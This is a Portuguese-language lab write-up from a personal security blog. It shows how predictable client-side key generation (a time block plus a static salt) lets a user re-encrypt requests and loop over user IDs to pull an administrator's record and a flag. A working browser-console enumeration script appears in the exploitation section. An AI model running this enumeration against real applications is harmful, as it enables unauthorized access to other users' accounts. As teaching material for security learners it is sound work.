Skip to main content
Bruno Menozzi aka Zeroc00i
Back to homepage

Lab 6 - Bypassing Client-Side Encryption via Predictable Key Generation

Cenário Inicial

Ao acessar a aplicação, nos deparamos com uma interface limpa de gerenciamento de usuários. A tabela exibe claramente dois tipos de usuários:

  • ID 0: Usuário Anônimo com permissões básicas de leitura
  • ID ?: Administrador com acesso completo

A pergunta que surge é óbvia: como descobrir o ID do administrador e acessar suas credenciais?


Investigação Passo a Passo

1. Primeira Interação e Análise

Clicando no botão “Carregar Meu Perfil”, observamos na aba Network do DevTools:

  • Uma requisição POST para api.php
  • Dados trafegam criptografados em formato específico:
{
  "data": "U2FsdGVkX1...",
  "iv": "kR1ZrFAc8a...", 
  "timestamp": 1730486405000
}
  • A resposta retorna informações do usuário ID 0 (anônimo)

2. Engenharia Reversa do Client-Side

Inspecionando o código fonte, descobrimos a função getUserProfile() que é chamada pelo botão. Analisando seu conteúdo:

const payload = {id: 0, action: "get_profile"};
const encrypted = security.encryptPayload(payload);

Insight importante: Todo o processo de criptografia acontece no client-side usando a classe SecuritySystem. A chave é gerada através de:

const timeBlock = Math.floor(Date.now() / 2000);
const baseSeed = CryptoJS.MD5(timeBlock + "static_salt_2024").toString();

Problema crítico identificado: Uso de salt estático "static_salt_2024" que permite prever a geração de chaves.

3. Tentativa Manual e a Barreira do Timestamp

Tentamos modificar o ID via DevTools colocando um breakpoint:

// Alterando para ID 1 durante o debug
const payload = {id: 1, action: "get_profile"};

Resultado frustrante: O servidor retorna erro:

{"error": "Requisição expirada. Timestamp diferencia 5 segundos."}

O processo manual de debug introduz delay suficiente para invalidar o timestamp. Isso nos dá uma pista valiosa: o backend valida o tempo rigorosamente.


Exploração Bem-Sucedida

4. Aproveitando as Funções da Página

Reflexão chave: Podemos reutilizar todas as funções JavaScript já declaradas na página, incluindo a classe SecuritySystem e suas métodos de criptografia.

Criamos um script no console que copia exatamente o mesmo bloco de código da função getUserProfile(), apenas colocando um laço for ao redor:

for (let i = 100; i >= 0; i--) {
    // CÓDIGO ORIGINAL DA PÁGINA - COPIADO DIRETAMENTE
    const payload = {id: i, action: "get_profile"};
    const encrypted = security.encryptPayload(payload);
    
    fetch('api.php', {
        method: 'POST',
        headers: {'Content-Type': 'application/json'},
        body: JSON.stringify(encrypted)
    }).then(r => r.text()).then(response => {
        if (!response.includes('Usuario nao encontrado')) {
            console.log(`ID ${i}: ${response}`);
        }
    });
    // FIM DO CÓDIGO ORIGINAL
}

Por que isso funciona perfeitamente:

  • Todas as funções (security.encryptPayload, fetch) já estão disponíveis
  • A automação garante que cada requisição seja enviada instantaneamente
  • Eliminamos o problema do timestamp expirado

5. Resultado do Brute Force

O script executa rapidamente 101 requisições. Filtrando pelas respostas na aba Network, identificamos:

  • IDs 1-76, 78-100: {"error":"Usuario nao encontrado"} (34 bytes)
  • ID 77: Resposta com 123 bytes contendo:
{
  "user_id": 77,
  "email": "admin@sistema.com", 
  "password": "FLAG{zeroc00i_Timestamp_Bypass_Success}",
  "user_type": "administrador"
}